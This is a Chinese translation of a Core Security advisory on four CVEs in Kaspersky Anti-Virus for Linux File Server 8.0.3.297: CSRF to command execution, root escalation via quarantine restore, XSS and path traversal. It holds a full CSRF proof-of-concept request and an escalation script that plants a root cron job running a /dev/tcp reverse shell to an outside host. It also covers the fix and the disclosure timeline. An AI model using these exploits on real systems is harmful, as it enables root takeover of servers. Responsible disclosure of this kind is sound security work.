反病毒還是留後門?卡巴斯基反病毒伺服器被爆多個漏洞

導語:Web頁面生成(「跨站點腳本」)[CWE-79],跨站點請求偽造[ CWE-352 ],不正確的特權管理[ CWE-269 ],路由名稱不正確的中和受限目錄[ CWE-22 ]

1.漏洞信息

類別:Web頁面生成(「跨站點腳本」)[CWE-79],跨站點請求偽造[ CWE-352 ],不正確的特權管理[ CWE-269 ],路由名稱不正確的中和受限目錄[ CWE-22 ]

影響:代碼執行,安全繞過,信息泄漏

遠程利用:是

本地利用:是

CVE名稱:CVE-2017-9813,CVE-2017-9810,CVE-2017-9811,CVE-2017 -9812

2.漏洞描述

卡巴斯基實驗室的網站:「使用不同平台上運行的文件伺服器的大型企業網路在防病毒保護方面可能是一個非常令人頭痛的事情。卡巴斯基反病毒軟體Linux文件伺服器是我們的新一代和更新產品,解決方案和為異構網路提供服務,為Samba伺服器集成和其他功能提供了卓越的保護,可以保護即使是最複雜的異構網路中的工作站和文件伺服器,還通過了VMware Ready認證,並支持當前版本的FreeBSD,用於集成的,面向未來的保護。」

Kaspersky Anti-Virus for Linux文件伺服器[2] Web管理控制台中發現了多個漏洞。遠程攻擊者可能會濫用這些漏洞並以root身份獲取命令執行。

3.易受攻擊的包

卡巴斯基反病毒軟體Linux文件伺服器8.0.3.297 [ 2 ]

其他產品和版本可能會受到影響,但未經測試。

4.解決方案和解決方法

Kaspersky Anti-Virus 8.0 for Linux File Servers: Maintenance Pack 2 Critical Fix 4 (version 8.0.4.312)

5.技術說明/概念代碼證明

卡巴斯基針對Linux文件伺服器的反病毒軟體與Web管理控制台捆綁在一起,以監控應用程序的狀態並管理其操作。

一個特定功能允許在某些事件發生時配置shell腳本。此功能易於跨站點請求偽造,允許在Web應用程序的上下文中執行代碼作為kluser帳戶。該漏洞在第5.1節中描述。

此外,可以通過濫用由kav4fs控制系統二進位文件提供的隔離功能將特權從kluser提升到root。這在第5.2節中有描述。

發現了額外的Web應用程序漏洞,包括反映的跨站點腳本漏洞(5.3)和路徑遍歷漏洞(5.4)。

5.1跨站點請求偽造導致遠程命令執行

[CVE-2017-9810]:Web界面上沒有任何形式的CSRF令牌。這將允許攻擊者在經過身份驗證的用戶瀏覽攻擊者控制的域時提交經過身份驗證的請求。

以下請求將更新通知設置以在將對象移動到隔離區時運行shell命令。有關事件的完整列表,請參閱產品文檔。請注意,可以在單個請求中將腳本添加到所有現有事件,並擴大利用窗口。

概念驗證創建文件/tmp/pepperoni。Shell命令作為較低許可權kluser運行。

有效載荷:

"notifier": {"Actions": [{"Command": "touch /tmp/pepperoni", "EventName": 22, "Enable": true,"__VersionInfo": "1 0"}]n

請求:

POST /cgi-bin/cgictl?action=setTaskSettings HTTP/1.1nHost: <server IP>:9080nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 nFirefox/52.0nAccept: application/json, text/javascript, */*nAccept-Language: en-US,en;q=0.5nContent-Type: application/x-www-form-urlencodednReferer: http://<server IP>:9080/nContent-Length: 3273nCookie: wmc_useWZRDods=true; wmc_sid=690DE0005C5625A420255EFEBB3349F7; nwmc_full_stat=1;nwmc_logsSimpleMode=1;nwmc_backupSimpleMode=1; nwmc_quaSimpleMode=1; nwmc_iconsole_lang=resource_en.js;nwmc_show_settings_descr=false;niconsole_test; wmc_show_licence_descr=falsenConnection:closentaskId=7&nsettings=%7B%22ctime%22%3A%201490796963%2C%20%22notifier%22%3A%20%7B%22Actions%22%3A%20%5B%7B%22Command%22%3A%20%22touch%20%2Ftmp%2Fpepperoni%22%2C%20%22EventName%22%3A%2022%2C%20%22Enable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22CommonSmtpSettings%22%3A%20%7B%22DefaultRecipients%22%3A%20%5B%5D%2C%20%22InternalMailerSettings%22%3A%20%7B%22ConnectionTimeout%22%3A%2010%2C%20%22SmtpPort%22%3A%2025%2C%20%22SmtpQueueFolder%22%3A%20%22%2Fvar%2Fopt%2Fkaspersky%2Fkav4fs%2Fdb%2Fnotifier%22%2C%20%22SmtpServer%22%3A%20%22%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22Mailer%22%3A%20%221%22%2C%20%22Sender%22%3A%20%22%22%2C%20%22SendmailPath%22%3A%20%22%2Fusr%2Fsbin%2Fsendmail%20-t%20-i%22%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22EnableActions%22%3A%20true%2C%20%22EnableSmtp%22%3A%20false%2C%20%22SmtpNotifies%22%3A%20%5B%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%201%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Anti-Virus%20started%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%206%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22License%20error%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%7B%22Body%22%3A%20%22%22%2C%20%22Enable%22%3A%20true%2C%20%22EventName%22%3A%207%2C%20%22Recipients%22%3A%20%5B%5D%2C%20%22Subject%22%3A%20%22Databases%20updated%22%2C%20%22UseRecipientList%22%3A%202%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%5D%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22snmp%22%3A%20%7B%22MasterAgentXAddress%22%3A%20%22tcp%3Alocalhost%3A705%22%2C%20%22PingInterval%22%3A%2015%2C%20%22TrapSuite%22%3A%20%7B%22AVBasesAppliedEventEnable%22%3A%20true%2C%20%22AVBasesAreOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAreTotallyOutOfDateEventEnable%22%3A%20true%2C%20%22AVBasesAttachedEventEnable%22%3A%20true%2C%20%22AVBasesIntegrityCheckFailedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackCompletedEventEnable%22%3A%20true%2C%20%22AVBasesRollbackErrorEventEnable%22%3A%20true%2C%20%22ApplicationSettingsChangedEventEnable%22%3A%20true%2C%20%22ApplicationStartedEventEnable%22%3A%20true%2C%20%22LicenseErrorEventEnable%22%3A%20true%2C%20%22LicenseExpiredEventEnable%22%3A%20true%2C%20%22LicenseExpiresSoonEventEnable%22%3A%20true%2C%20%22LicenseInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotInstalledEventEnable%22%3A%20true%2C%20%22LicenseNotRevokedEventEnable%22%3A%20true%2C%20%22LicenseRevokedEventEnable%22%3A%20true%2C%20%22ModuleNotDownloadedEventEnable%22%3A%20true%2C%20%22NothingToUpdateEventEnable%22%3A%20true%2C%20%22ObjectDeletedEventEnable%22%3A%20true%2C%20%22ObjectDisinfectedEventEnable%22%3A%20true%2C%20%22ObjectSavedToBackupEventEnable%22%3A%20true%2C%20%22ObjectSavedToQuarantineEventEnable%22%3A%20true%2C%20%22RetranslationErrorEventEnable%22%3A%20true%2C%20%22TaskStateChangedEventEnable%22%3A%20true%2C%20%22ThreatDetectedEventEnable%22%3A%20true%2C%20%22UpdateErrorEventEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%2C%20%22TrapsEnable%22%3A%20true%2C%20%22__VersionInfo%22%3A%20%221%200%22%7D%7D&schedule=%7B%7D&skipCtimeCheck=truen

5.2 特權由於許可權過大而升級

[CVE-2017-9811]:kluser能夠與kav4fs-control二進位文件進行交互。通過濫用隔離讀寫操作,可以將許可權提升為root許可權。

以下的概念驗證腳本添加了將以root身份執行的cron作業。

# Make sure the application is runningn/opt/kaspersky/kav4fs/bin/kav4fs-control --start-appn# Create cron job in /tmpnecho "* * * * * root /tmp/reverse.sh" > /tmp/badcronn# Sample reverse shell payloadncat > /tmp/reverse.sh << EOFn#!/bin/bashnbash -i >& /dev/tcp/172.16.76.1/8000 0>&1nEOFnchmod +x /tmp/reverse.shn# Move the cron job to quarantine and grab the object IDnQUARANTINE_ID=$(/opt/kaspersky/kav4fs/bin/kav4fs-control -Qn--add-object /tmp/badcron | cut -d= -f2 | cut -d. -f1)n# Restore the file to /etc/cron.dn/opt/kaspersky/kav4fs/bin/kav4fs-control -Q --restore $QUARANTINE_IDn--file /etc/cron.d/implantn

5.3.反射的跨站點腳本

[CVE-2017-9813]:licenseKeyInfo操作方法的scriptName參數容易受到跨站腳本的攻擊。

5.4.路徑遍歷

[CVE-2017-9812]:getReportStatus操作方法的reportId參數可以被濫用以使用kluser許可權讀取任意文件。以下的概念證明讀取/etc/passwd文件。

6.報告時間表

2017-04-03:核心安全局向卡巴斯基發出初步通知,其中包括諮詢稿。

2017-04-03:卡巴斯基確認接受諮詢,並通知他們將其提交給相關技術團隊進行驗證和複製。

2017-04-06:卡巴斯基證實,他們可以複製五個報告的漏洞中的三分之一,並向我們提出了關於其他兩個緩和因素的理由的意見。他們還表示,他們會在幾天內通知我們修復日期。

2017-04-06:核心安全感謝確認並發出疑問的一個漏洞的理由。核心安全協議同意刪除一個報告的漏洞,因為它可以通過產品設置緩解。

2017-04-25:卡巴斯基證實了其他報告的漏洞,並正在修復。他們說修復將被釋放到「六月三十日」,並且還會在六月底前通知我們確切的日期。

2017-04-25:核心安全感謝確認最終漏洞列表,並要求澄清發布日期。

2017-04-25:卡巴斯基澄清,他們將在6月30日之前發布修正案,並將在6月中旬之前通知我們確切的日期。

2017-06-19:卡巴斯基提到他們願意在6月30日出版發行,並要求提供CVE。

2017-06-19:核心安全回答提出諮詢出版物為7月3日,以避免星期五的諮詢公布。還要求澄清Core Security研究人員發現的6月14日的修復程序,以及是否修復報告的漏洞。

2017-06-21:卡巴斯基回答說,6月14日的修復與報告的漏洞的修復有關。

2017-06-21:核心安全性詢問6月14日的補丁(ID 13738)是否正在修復* all *當前諮詢中報告的漏洞。如果這樣,核心安全部門將比計劃更快地發布諮詢。提醒卡巴斯基表示,他們將在6月30日前發布修正案。

2017-06-22: Core Security向每個漏洞發送了最終CVE ID的諮詢草案。

2017-06-23:卡巴斯基表示,他們將儘快澄清補丁13738,並注意到諮詢時間表中的錯字。

2017-06-23:核心安全性再次要求我們儘快澄清補丁13738。

2017-06-26:核心安全審查了6月14日發布的補丁,並確認它解決了所有報告的漏洞。核心安全通知卡巴斯基,這項諮詢將於星期三28日發布為強制發布。

2017-06-28:諮詢CORE-2017-0003發布。

如若轉載,請註明原文地址: 反病毒還是留後門?卡巴斯基反病毒伺服器被爆多個漏洞 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

「幽靈」和「熔斷」,究竟是什麼?(事件匯總)
目錄遍歷漏洞
兒童電話手錶的安全漏洞會造成哪些問題?如何避免
MySQL驚爆高危漏洞 入侵伺服器已不在話下

TAG:卡巴斯基Kaspersky | 安全漏洞 |